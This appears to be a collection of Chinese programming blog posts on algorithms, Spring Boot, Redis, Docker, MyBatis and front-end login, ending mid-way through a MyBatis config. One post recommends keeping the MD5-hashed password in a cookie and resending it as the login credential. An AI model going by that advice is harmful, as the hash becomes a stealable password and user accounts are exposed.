
小易老师是非常严厉的,它会要求所有学生在进入教室前都排成一列,并且他要求学生按照身高不递减的顺序排列。有一次,n个学生在列队的时候,小易老师正好去卫生间了。学生们终于有机会反击了,于是学生们决定来一次疯狂的队列,他们定义一个队列的疯狂值为每对相邻排列学生身高差的绝对值总和。由于按照身高顺序排列的队列的疯狂值是最小的,他们当然决定按照疯狂值最大的顺序来进行列队。现在给出n个学生的身高,请计算出这些学生列队的最大可能的疯狂值。小易老师回来一定会气得半死。 输入描述: 输入包括两行,第一行一个整数n(1 ≤ n ≤ 50),表示学生的人数 第二行为n个整数h[i](1 ≤ h[i] ≤ 1000),表示每个学生的身高 输出描述: 输出一个整数,表示n个学生列队可以获得的最大的疯狂值。 如样例所示: 当队列排列顺序是: 25-10-40-5-25, 身高差绝对值的总和为15+30+35+20=100。 这是最大的疯狂值了。 输入例子1: 5 5 10 25 40 25 输出例子1: 100 思路 假设数列是1,2,3,4,5,6,7。我们先取最小的元素1,要绝对值尽可能的大,第二个元素我们取最大值7,这样我们得到了[1,7], 接下来,我们从剩下的元素中取最大值,排放在1的旁边,取最小值排放在7的旁边,这样我们得到了[6,1,7,2] 继续上述过程,从剩下的元素中取最大值放在两侧较小元素的旁边,取最小值放在较大元素的旁边 …… 直到最后,我们每次取2个元素,剩余的元素个数可能为0,也可能为1.如果还剩下1个元素,比较一下放在左边和右边的差值绝对值,那边大放哪边就好。 使用了链表,直接放首部或者尾部 代码 import java.util.Arrays; import java.util.LinkedList; import java.util.Scanner; public class Main { public static void main(String[] args) { Scanner sc = new Scanner(System.in); int n = sc.nextInt(); int []arr = new int[n]; for(int i=0;i<n;i++) { arr[i] = sc.nextInt(); } Arrays.sort(arr); LinkedList<Integer> list = new LinkedList<Integer>(); for(int i=0;i<n/2;i++) { if(i==0) { list.offerFirst( arr[i] ); list.offerLast( arr[n-i-1] ); }else { if( list.getFirst()-list.getLast()>0 ) { list.offerFirst( arr[i] ); list.offerLast( arr[n-1-i] ); }else { list.offerLast( arr[i] ); list.offerFirst( arr[n-i-1] ); } } } if(n%2!=0) { int t = arr[n/2]; if( list.getFirst()-list.getLast()>0 ) { list.offerLast( t); }else { list.offerFirst( t ); } } int sum = 0; for(int i=0;i<list.size()-1;i++) { sum += ( Math.abs( list.get(i)-list.get(i+1) ) ); } System.out.print( sum ); } }
之前用SSM框架撸代码时是可以直接跳转jsp页面。也就是说没有经过controller处理,这样相对来说不是那么安全,因此有些页面需要判断权限操作。 这几天在使用springboot的时候,大多处理都是经过controller跳转页面,那么是否可以直接访问静态页面? 解决方案 把我们需要的页面放在static下,这样就能通过 *.html 访问了 如果你觉得这登录页面还不错,可以来这 仿魅族登录页面
在玩一个商城秒杀的项目,前端密码实现了MD5加密,但是原来的登录网页实现了记住用户密码功能,现在问题来了。 问题 用户每次登录都是从前端获取用户输入,然后经过js加密发到后端进行校验。密码正确登录成功后密码会存在cookie中,那么此时用户的密码框里面的信息是经过加密后的,如果再次直接MD5加密,此时的密码就不在是用户真实密码经过加密的密码(有点绕啊),此时密码就会对不上。 解决方案 在执行登录方法前,判断cookie中是否有信息,若有则说明已经加过密了,则传到后端的密码直接从cookie中获取即可。 或许你需要的文件|资料 jquery.cookie.js用法 https://www.cnblogs.com/zlq92/p/7804591.html md5.js https://www.npmjs.com/package/js-md5 jquery.cookie.js http://plugins.jquery.com/cookie/ 实现记住我功能 http://blog.csdn.net/fmuma/article/details/78445824
在复习CGLIB动态代理时运行代码报如下错误,看错误提示,很明显是少了jar包。 CGLIB的jar包已经引入,但是没用maven搭建项目,少了相关联的jar包依赖。 后面查到是少了asm.jar包。引入jar包即可解决问题了。 sam.jar包 maven仓库的jar包下载 Exception in thread "main" java.lang.NoClassDefFoundError: org/objectweb/asm/Type at net.sf.cglib.core.TypeUtils.parseType(TypeUtils.java:184) at net.sf.cglib.core.KeyFactory.<clinit>(KeyFactory.java:72) at net.sf.cglib.proxy.Enhancer.<clinit>(Enhancer.java:72) at com.wy.cglib.CgLibTest.main(CgLibTest.java:11) Caused by: java.lang.ClassNotFoundException: org.objectweb.asm.Type at java.net.URLClassLoader.findClass(Unknown Source) at java.lang.ClassLoader.loadClass(Unknown Source) at sun.misc.Launcher$AppClassLoader.loadClass(Unknown Source) at java.lang.ClassLoader.loadClass(Unknown Source) ... 4 more
在SpringBoot中使用Redis,出现该报错,最后发现问题是因为 JedisPoolConfig jedisPoolConfig = new JedisPoolConfig(); jedisPoolConfig.setMaxTotal( 这里为零导致的错误! ); 配置没有问题,在注入的时候,MaxTotal( 这里的参数没有成功注入 ) 注意setMaxTotal( 参数 ) 里面的参数是否为零! java.util.NoSuchElementException: Timeout waiting for idle object at org.apache.commons.pool2.impl.GenericObjectPool.borrowObject(GenericObjectPool.java:442) ~[commons-pool2-2.0.jar:2.0] at org.apache.commons.pool2.impl.GenericObjectPool.borrowObject(GenericObjectPool.java:360) ~[commons-pool2-2.0.jar:2.0] at redis.clients.util.Pool.getResource(Pool.java:49) ~[jedis-2.9.0.jar:na] at redis.clients.jedis.JedisPool.getResource(JedisPool.java:226) ~[jedis-2.9.0.jar:na] at com.wy.miaosha.redis.RedisServer.get(RedisServer.java:20) ~[classes/:na] at com.wy.miaosha.controller.SampleController.redisGet(SampleController.java:42) ~[classes/:na] at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:1.8.0_144] at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[na:1.8.0_144] at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:1.8.0_144] at java.lang.reflect.Method.invoke(Method.java:498) ~[na:1.8.0_144] at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:209) ~[spring-web-5.0.4.RELEASE.jar:5.0.4.RELEASE] at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:136) ~[spring-web-5.0.4.RELEASE.jar:5.0.4.RELEASE] at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:102) ~[spring-webmvc-5.0.4.RELEASE.jar:5.0.4.RELEASE] at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:870) ~[spring-webmvc-5.0.4.RELEASE.jar:5.0.4.RELEASE] at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:776) ~[spring-webmvc-5.0.4.RELEASE.jar:5.0.4.RELEASE] at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87) ~[spring-webmvc-5.0.4.RELEASE.jar:5.0.4.RELEASE] at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:991) ~[spring-webmvc-5.0.4.RELEASE.jar:5.0.4.RELEASE] at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:925) ~[spring-webmvc-5.0.4.RELEASE.jar:5.0.4.RELEASE] at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:978) ~[spring-webmvc-5.0.4.RELEASE.jar:5.0.4.RELEASE] at org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:870) ~[spring-webmvc-5.0.4.RELEASE.jar:5.0.4.RELEASE] at javax.servlet.http.HttpServlet.service(HttpServlet.java:635) ~[tomcat-embed-core-8.5.28.jar:8.5.28] at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:855) ~[spring-webmvc-5.0.4.RELEASE.jar:5.0.4.RELEASE] at javax.servlet.http.HttpServlet.service(HttpServlet.java:742) ~[tomcat-embed-core-8.5.28.jar:8.5.28] at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231) ~[tomcat-embed-core-8.5.28.jar:8.5.28] at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-8.5.28.jar:8.5.28] at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52) ~[tomcat-embed-websocket-8.5.28.jar:8.5.28] at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-8.5.28.jar:8.5.28] at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-8.5.28.jar:8.5.28] at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:99) ~[spring-web-5.0.4.RELEASE.jar:5.0.4.RELEASE] at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107) ~[spring-web-5.0.4.RELEASE.jar:5.0.4.RELEASE] at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-8.5.28.jar:8.5.28] at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-8.5.28.jar:8.5.28] at org.springframework.web.filter.HttpPutFormContentFilter.doFilterInternal(HttpPutFormContentFilter.java:109) ~[spring-web-5.0.4.RELEASE.jar:5.0.4.RELEASE] at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107) ~[spring-web-5.0.4.RELEASE.jar:5.0.4.RELEASE] at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-8.5.28.jar:8.5.28] at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-8.5.28.jar:8.5.28] at org.springframework.web.filter.HiddenHttpMethodFilter.doFilterInternal(HiddenHttpMethodFilter.java:81) ~[spring-web-5.0.4.RELEASE.jar:5.0.4.RELEASE] at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107) ~[spring-web-5.0.4.RELEASE.jar:5.0.4.RELEASE] at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-8.5.28.jar:8.5.28] at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-8.5.28.jar:8.5.28] at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:200) ~[spring-web-5.0.4.RELEASE.jar:5.0.4.RELEASE] at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107) ~[spring-web-5.0.4.RELEASE.jar:5.0.4.RELEASE] at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-8.5.28.jar:8.5.28] at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-8.5.28.jar:8.5.28] at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:199) ~[tomcat-embed-core-8.5.28.jar:8.5.28] at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96) [tomcat-embed-core-8.5.28.jar:8.5.28] at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:496) [tomcat-embed-core-8.5.28.jar:8.5.28] at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140) [tomcat-embed-core-8.5.28.jar:8.5.28] at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:81) [tomcat-embed-core-8.5.28.jar:8.5.28] at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87) [tomcat-embed-core-8.5.28.jar:8.5.28] at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342) [tomcat-embed-core-8.5.28.jar:8.5.28] at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:803) [tomcat-embed-core-8.5.28.jar:8.5.28] at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66) [tomcat-embed-core-8.5.28.jar:8.5.28] at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:790) [tomcat-embed-core-8.5.28.jar:8.5.28] at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1459) [tomcat-embed-core-8.5.28.jar:8.5.28] at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) [tomcat-embed-core-8.5.28.jar:8.5.28] at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) [na:1.8.0_144] at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) [na:1.8.0_144] at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) [tomcat-embed-core-8.5.28.jar:8.5.28] at java.lang.Thread.run(Thread.java:748) [na:1.8.0_144]
题目 输入一个链表,输出该链表中倒数第k个结点。 /* public class ListNode { int val; ListNode next = null; ListNode(int val) { this.val = val; } }*/ import java.util.ArrayList; import java.util.List; public class Solution { public ListNode FindKthToTail(ListNode head,int k) { } } 解题思路 我的思路 遍历一遍链表,把每个数据存List,然后在从List中取出,当然存栈也是一种思想。 我的代码 /* public class ListNode { int val; ListNode next = null; ListNode(int val) { this.val = val; } }*/ import java.util.ArrayList; import java.util.List; public class Solution { public ListNode FindKthToTail(ListNode head,int k) { if(head==null) return null; List<ListNode> list = new ArrayList<ListNode>(); while(head!=null){ list.add(head); head = head.next; } if(k>list.size()||k<=0) return null; return list.get(list.size()-k); } } 看到他人代码,有更好的思路。 思路 两个指针,先让第一个指针和第二个指针都指向头结点,然后再让第一个指正走(k-1)步,到达第k个节点。然后两个指针同时往后移动,当第一个结点到达末尾的时候,第二个结点所在位置就是倒数第k个节点了。 代码 /* public class ListNode { int val; ListNode next = null; ListNode(int val) { this.val = val; } }*/ public class Solution { public ListNode FindKthToTail(ListNode head,int k) { if(head==null||k<=0){ return null; } ListNode pre=head; ListNode last=head; for(int i=1;i<k;i++){ if(pre.next!=null){ pre=pre.next; }else{ return null; } } while(pre.next!=null){ pre = pre.next; last=last.next; } return last; } }
在centOS系统安装好了docker,想部署一个项目,但是发现运行docker info 时报错 问题 错误信息如下 Cannot connect to the Docker daemon. Is the docker daemon running on this host? 使用命令查看docker是否运行 ps aux | grep docker 结果有docker 进程。 原因 可能没有开启docker服务。 解决方案 使用命令开启docker 服务即可 service docker start 再次运行docker info 信息显示正常,Over.
关于微信一词,相信有很多人都挺喜欢。方便,简洁等特点更是让它成为家户喻晓的产品。对于程序员来说,相信更是好奇它的技术与开发吧。一年前的小程序刷遍朋友圈,大约一月前的小游戏(跳一跳)亦是如此。 考试前的那段时间实在无聊,于是了解了一下微信小程序的开发。做了一个[亲戚称呼计算]其实程序的核心是关系计算(他人提供算法),学到的多为动手能力与看官方文档的理解。 学习一门技术最好的方式是动手操作,于是动手写了一个。 如果在实际开发过程中,遇到一时不能解决的问题,你会如何处理?先放弃,一会再来?还是不玩了?这个问题是我做这个小程序遇到最多的问题,小程序的界面是最让我头疼的,只因为自己的前端水平实在是差 初学编程,进步最大的方式是跟着项目动手做,开始可以不懂为什么调用这个函数可以等到我想要的结果,为什么需要那样传参数等一系列问题…量变到质变,只是一个时间问题。点击阅读全文获取源码,如果你想玩,或许可以试试。 之前以为个人不可以发布小程序,后来又以为发布需要审核收费,其实这两点都没有。可以以个人的名义发布,并且免费审核。 其实进入首页能展示用户头像和昵称的,但是呢第一个版本没加上去就提交审核了,下午增加功能后再次提交审核才发现今天周五… 扫描小程序码体验 Github地址 欢迎Star!
说明 使用平台win10 1709版本,提示如果你的也是win10系统,而且版本较低可能也会提示xxxpro什么的,意思就是你的电脑版本不对。 docker使用Linux containers 可以使用docker version查看信息,单击小鲸鱼switch to xxxx 进行切换 此篇文章由学习后所写第一个docker化的java应用 感谢慕课网的这位老师 什么是Docker 定义 根据百度百科定义: Docker(应用容器引擎) 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的 Linux 机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口。 组成要素 dockerClient客户端 Docker Daemon守护进程 Docker Image镜像 DockerContainer容器 局限 Docker并不是全能的,设计之初也不是KVM之类虚拟化手段的替代品,简单总结几点: Docker是基于Linux 64bit的,无法在32bit的linux/Windows/unix环境下使用 LXC是基于cgroup等linux kernel功能的,因此container的guest系统只能是linux base的 隔离性相比KVM之类的虚拟化方案还是有些欠缺,所有container公用一部分的运行库 网络管理相对简单,主要是基于namespace隔离 cgroup的cpu和cpuset提供的cpu功能相比KVM的等虚拟化方案相比难以度量(所以dotcloud主要是按内存收费) Docker对disk的管理比较有限 container随着用户进程的停止而销毁,container中的log等用户数据不便收集 同类产品 CoreOs发布的一个名为Rocket。 为什么会出现 解决了什么问题 有了Docker,开发人员不再需要为处理各种开发、 测试、生产环境的差异而花费大量精力,他们可以将一个干净的开发环境直接迁移到生产环境,而不必担心各种依赖和配置问题。这有效的解决了开发者经常面临的“依赖陷阱”。(来源http://blog.csdn.net/zhushuai1221/article/details/52486684) 总的来说:Docker解决了运行环境和配置问题,方便发布,也就方便做持续集成。更轻量的虚拟化,节省了虚拟机的性能损耗 未出现前怎么解决 额,说说在我不知道有这项技术之前部署自己的博客系统吧。各种环境配置,jdk,mysql,tomcat,nginx...需要一个个下载安装,配置,检查是否有问题,真的是相当麻烦。 怎么做?Demo 设置镜像源 Docker 中国官方镜像加速。通过 Docker 官方镜像加速,中国区用户能够快速访问最流行的 Docker 镜像。设置后速度快的不要不要的。 官方网站镜像说明:https://www.docker-cn.com/registry-mirror 使用该镜像源只需要设置 registry-mirrors为https://registry.docker-cn.com即可 第一个镜像hello-world dos命令下输入命令docker images 即可查看目前所有镜像 获取第一个镜像hello-world 命令docker pull hello-world pull是拉的意思,和git中的pull拉仓库的代码很相似吧。同样的也对应一个命令push(推) 运行镜像 docker run hello-world 运行结果如下 其实运行一个镜像命令不仅仅如此简单,更详细的操作可以使用docker run --help查看所有命令 第二个镜像运行nginx 那么镜像我们去哪里下载呢?docker官方有一个仓库,其实理解起来和maven的中央仓库一样,我们需要什么去中央仓库拿就好了。 官方网址 下载nginx镜像,在页面详情页获取Docker Pull Command(命令) 下载成功 运行nginx 使用命令docker run -d nginx -d的意思是在后台运行。启动后看看状态,使用命令docker ps 试试在浏览器输入127.0.0.1 这个时候nginx还是访问不了的,请先操作下面 如果我们想知道容器内部怎么办?可以使用命令docker exec docker exec --help 看一下帮助信息 使用命令docker exec -it be 注意:这个be是我运行nginx镜像后获取的一个id,而be只是前两位,注意第2点的docker ps 镜像nginx的CONTAINER ID(容器ID) 因为只启动了一个镜像,所以我输入be就能识别我要执行的镜像 进入后你会发现和Linux系统好像呀!其实就是一个虚拟Linux系统好嘛! 熟悉的Linux命令 7.退出容器命令exit Docker网络 更详细的学习前往(https://www.cnblogs.com/allcloud/p/7150564.html) 特别说明:图片引用来自慕课网 还记得在步骤 第二个镜像运行nginx的第三点吗?试试在浏览器输入127.0.0.1.....但是无法访问对吧。 通过本地8080端口映射docker容器中的80端口 此时就可以访问docker中的nginx。 命令 docker run -d -p 8080:80 nginx 再次在浏览器访问127.0.0.1:8080 ,成功访问nginx 制作自己的镜像并部署 创建一个文件夹,改文件夹下包含Dockerfile文件和Jpress.war包 制作自己的Dockerfile文件 在Dockerfile文件写入一下信息。注意这个文件没有后缀,可以建立一个txt文件在重复名去掉txt后缀即可 from tomcat MAINTAINER peng xxx@163.com COPY jpress.war /usr/local/tomcat/webapps 意思是需要tomcat(会默认下载jdk,免去下载jdk的步骤) 镜像所有者信息 发布到tomcat/webapps目录下 如果你是按照步骤来的,那么tomcat镜像没下载吧。前面的步骤还记得吗?拉取tomcat镜像,命令docker pull tomcat 我们需要部署自己的web应用到服务器这里我们使用Jpress博客系统作为我们测试的应用。 在GitHub下载war包 Github-JPress-War包下载 GitHub下载较慢,请移步 创建镜像使用命令 docker build . 注意 . 表示当前目录,给镜像起一个名字(准确说是加一个标签) docker build -t jpress:latest . 使用命令docker images 查看镜像jpress成功。注意我的jpress错了,标签应该为latest,一开始打错了.. 运行tomcat 此时运行tomcat镜像jpress就可以访问了!命令 docker run -d -p 8888:8080 jpress 拉取MySQL并设置数据库密码,建立jpress数据库 由于jpress博客框架的运行需要MySQL数据库的支持,同样的去镜像库获取pull命令,下拉到自己的仓库即可。 MySQL相关命令的操作在MySQL 都有说明。使用命令 docker run -d -p 3306:3306 -e MYSQL_ROOT_PASSWORD=a -e MYSQL_DATABASE=jpress mysql 注意!如果你的电脑安装了MySQL并且启动了MySQL服务,此时会报错,解决方案是换个端口即可。 连接数据库 如果数据库主机为localhost无法连接数据库,则改为IP地址。查看本机IP地址方法cmd命令下inconfig ,注意此时的端口号应该改为3307.安装成功! 重启web容器 查看容器运行情况 docker ps 执行命令docker restart CONTAINER ID(容器ID) 即可访问jpress啦 Over!牛逼的技术,在学习路上... 前段时间在微博看到他人分享关于Docker的原理分析,移步学习 Docker 核心技术与实现原理
最近使用layer的弹窗功能,在传参上遇到了问题。 有两种情况。 1. 父页面给子页面传参;这个可以在url后拼接,比如test.html?a=1 2. 父页面获取子页面操作DOM 说明:本文实现了第二种,我看到第一种方案的实现方法是在父页面中用正则表达式去搜索test.html?a=1 这样来达到获取参数 参考信息http://blog.csdn.net/ReturningProdigal/article/details/53541337 layer.open({ title: '请填写信息', type: 2, //设置为2则可以跳转页面 area: [width, height], shadeClose: true, //点击遮罩关闭 content: 'form.jsp', success: function(layero, index){ //注意这里的#sid是iframe页面中的一个标签id var jquerySendHelloButton = $("#sid", layero.find("iframe")[0].contentWindow.document); jquerySendHelloButton.attr("value", sid ); }, }); 在iframe页面用一个标签,为了不影响页面,设置为隐藏 <!-- 用来存储父页面传过来的id --> <input type="text" id="sid" style="display:none"> 注意,这里的sid和这里sid对应 var jquerySendHelloButton = $("#sid", layero.find("iframe")[0].contentWindow.document);
iframe操作问题 在父页面中给子页面传值,出现了该错误 是因为file:// 也属于跨域,放在有服务器状态下,这个问题就解决了。
Redis 安装 Window 下安装 下载地址:https://github.com/MSOpenTech/redis/releases 下载解压后,启动服务端,使用java操作redis需要先启动服务器 下载java操作redis的jar包 Mavne依赖地址 <!-- https://mvnrepository.com/artifact/redis.clients/jedis --> <dependency> <groupId>redis.clients</groupId> <artifactId>jedis</artifactId> <version>2.9.0</version> </dependency> 或者下载地址http://central.maven.org/maven2/redis/clients/jedis/2.9.0/jedis-2.9.0.jar redis五种数据类型,String,List,Hash,Set,有序Set package com.wy.test; import java.util.HashMap; import java.util.Iterator; import java.util.Map; import org.junit.Test; import redis.clients.jedis.Jedis; public class TestRedis { private static Jedis jedis; static { //连接服务器 jedis = new Jedis("127.0.0.1",6379); //权限认证 // jedis.auth(""); } //字符串操作 @Test public void testString() { jedis.set("name", "沪旦铭"); System.out.println( jedis.get("name") ); //追加操作 jedis.append("name", "是我的名字"); System.out.println( jedis.get("name") ); //删除键 Long result = jedis.del("name2"); System.out.println( result ); //返回Long型 1表示成功0失败 //设置多个键值对 jedis.mset("age","20","addr","湖南"); //获取多个键 返回一个列表类型 [沪旦铭是我的名字, 20, 湖南] System.out.println( jedis.mget("name","age","addr")); } //哈希操作Hash @Test public void testHash() { Map<String,String> map = new HashMap<String,String>(); map.put("name", "沪旦铭"); map.put("age", "20"); //存储数据 jedis.hmset("user", map); //读取数据 返回一个列表类型 [沪旦铭, 20] System.out.println( jedis.hmget("user", "name","age") ); //HKEYS key 获取所有哈希表中的字段 返回一个列表[name, age] System.out.println( jedis.hkeys("user") ); //HVALS key 获取哈希表中所有值 System.out.println( jedis.hvals("user") ); //HLEN key 获取哈希表中字段的数量 System.out.println( jedis.hlen("user") ); //获取所有的键 迭代操作 Iterator<String> iter = jedis.hkeys("user").iterator(); while(iter.hasNext()) { String key = iter.next(); System.out.println( key+"--"+jedis.hmget("user", key) ); } } //List操作 @Test public void testList() { //开始前,先移除所有的内容 jedis.del("Programming language"); //LPUSH key value1 [value2] 将一个或多个值插入到列表头部 jedis.lpush("Programming language", "Java"); jedis.lpush("Programming language", "Python"); jedis.lpush("Programming language", "C++"); //获取数据 返回一个list [Python, Java] //第一个是key,第二个是起始位置,第三个是结束位置 //其中 0 表示列表的第一个元素, 1 表示列表的第二个元素,以此类推。 //你也可以使用负数下标,以 -1 表示列表的最后一个元素, -2 表示列表的倒数第二个元素,以此类推。 System.out.println( jedis.lrange("Programming language", 0, -1) ); //LPUSHX key value 将一个值插入到已存在的列表头部 jedis.lpushx("Programming language", "php"); System.out.println( jedis.lrange("Programming language", 0, -1) ); //RPUSH key value1 [value2] 在列表中添加一个或多个值 jedis.rpush("Programming language", "C"); System.out.println( jedis.lrange("Programming language", 0, -1) ); //输出情况 // [C++, Python, Java] // [php, C++, Python, Java] // [php, C++, Python, Java, C] } //Set操作 @Test public void testSet() { //向集合添加一个或多个成员 jedis.sadd("webSite", "阿里巴巴","网易"); jedis.sadd("webSite", "腾讯"); //SCARD key 获取集合的成员数 System.out.println( jedis.scard("webSite") ); //SMEMBERS key 返回集合中的所有成员 返回类型列表[阿里巴巴, 腾讯, 网易]注意顺序不唯一 System.out.println( jedis.smembers("webSite") ); //SSCAN key cursor [MATCH pattern] [COUNT count] 迭代集合中的元素 System.out.println(jedis.sscan("webSite", "0") ); } //sorted set有序Set @Test public void testSortSet() { // Redis 有序集合和集合一样也是string类型元素的集合,且不允许重复的成员。 // 不同的是每个元素都会关联一个double类型的分数。redis正是通过分数来为集合中的成员进行从小到大的排序。 // 有序集合的成员是唯一的,但分数(score)却可以重复。 jedis.zadd("city", 0, "北京"); jedis.zadd("city", 1, "上海"); jedis.zadd("city", 2, "杭州"); //ZCARD key 获取有序集合的成员数 System.out.println( jedis.zcard("city") ); //ZREVRANK key member 返回有序集合中指定成员的排名,有序集成员按分数值递减(从大到小)排序 java中的方法是zrevrangeByScore System.out.println( jedis.zrevrangeByScore("city", 5, 0) ); } } 参考资料: 1. https://www.cnblogs.com/liuling/p/2014-4-19-04.html 2. http://www.runoob.com/redis/redis-intro.html
学习了Mybatis,觉得这个东西是真的方便,站在巨人的肩上都能感受到无穷的能量呀。 MyBatis官方中文网站 完整项目:http://oz1w76hwf.bkt.clouddn.com/java/mybatisMyBatis.7z 搭建项目 使用Maven搭建好项目 项目结构图 环境准备 安装mybatis 在pom.xml中加入maven依赖 <!-- https://mvnrepository.com/artifact/org.mybatis/mybatis --> <dependency> <groupId>org.mybatis</groupId> <artifactId>mybatis</artifactId> <version>3.4.5</version> </dependency> 同时增加java连接数据库依赖 <!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java --> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>5.1.40</version> </dependency> 后面需要到的日志log4j依赖 <!-- https://mvnrepository.com/artifact/log4j/log4j --> <dependency> <groupId>log4j</groupId> <artifactId>log4j</artifactId> <version>1.2.17</version> </dependency> 数据库表结构和数据 -- ---------------------------- -- Table structure for classes -- ---------------------------- DROP TABLE IF EXISTS `classes`; CREATE TABLE `classes` ( `cid` int primary key auto_increment, `cname` varchar(10) ) -- ---------------------------- -- Records of classes -- ---------------------------- INSERT INTO `classes` VALUES (1, '软件工程一班'); INSERT INTO `classes` VALUES (2, '软件工程二班'); INSERT INTO `classes` VALUES (3, '软件工程三班'); -- ---------------------------- -- Table structure for student -- ---------------------------- DROP TABLE IF EXISTS `student`; CREATE TABLE `student` ( `sid` int primary key auto_increment, `sname` varchar(10), `spwd` varchar(50), `cid` int ) --增加外键约束 alter table student add constraint sc foreign key(cid) references classes(cid) -- ---------------------------- -- Records of student -- ---------------------------- INSERT INTO `student` VALUES (1, '文章', 'a', 1); INSERT INTO `student` VALUES (2, '沪旦铭', 'a', 1); INSERT INTO `student` VALUES (3, '马伊琍', 'a', 1); INSERT INTO `student` VALUES (7, '佟大为', 'a', 2); INSERT INTO `student` VALUES (8, '谢娜', 'a', 2); INSERT INTO `student` VALUES (9, '王力宏', 'a', 3); JavaBean Student类 import java.io.Serializable; public class Student implements Serializable{ private static final long serialVersionUID = 3626150075724553325L; private Integer sid; private String sname; private String spwd; private Integer cid; //班级编号 //省略get set方法 } Classes类 import java.io.Serializable; import java.util.List; public class Classes implements Serializable{ private static final long serialVersionUID = 5527884450588186839L; private Integer cid; private String cname; private List<Student> student; //省略get set方法 } 配置Mybatis 使用框架,就是搭建一系列的配置文件 mybatis-config.xml <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE configuration PUBLIC "-//mybatis.org//DTD Config 3.0//EN" "http://mybatis.org/dtd/mybatis-3-config.dtd"> <configuration> <!-- 配置执行顺序 --> <!-- properties 属性 settings 设置 typeAliases 类型别名 typeHandlers 类型处理器 objectFactory 对象工厂 plugins 插件 environments 环境 environment 环境变量 transactionManager 事务管理器 dataSource 数据源 databaseIdProvider 数据库厂商标识 mappers 映射器 --> <properties resource="config.properties"> <!-- 注意: 如果加上一下两句表示数据库的连接名称为root 密码为a 这个可以不填写则mybatis会去config.properties读取 <property name="username" value="root"/> <property name="password" value="a"/> --> </properties> <!-- 配置了properties则数据源连接可以用 ${username} 格式动态加载数据 --> <settings> <!-- 设置缓存等相关 --> <setting name="cacheEnabled" value="true"/> <!-- 设置日志 --> <setting name="logImpl" value="LOG4J"/> </settings> <!-- 类的别名 同时也支持包扫描 --> <typeAliases> <!-- 一个一个类指明 <typeAlias alias="Author" type="domain.blog.Author"/> --> <!-- 使用包扫描 --> <package name="com.wy.bean"/> </typeAliases> <environments default="development"> <environment id="development"> <transactionManager type="JDBC"/> <dataSource type="POOLED"> <!-- 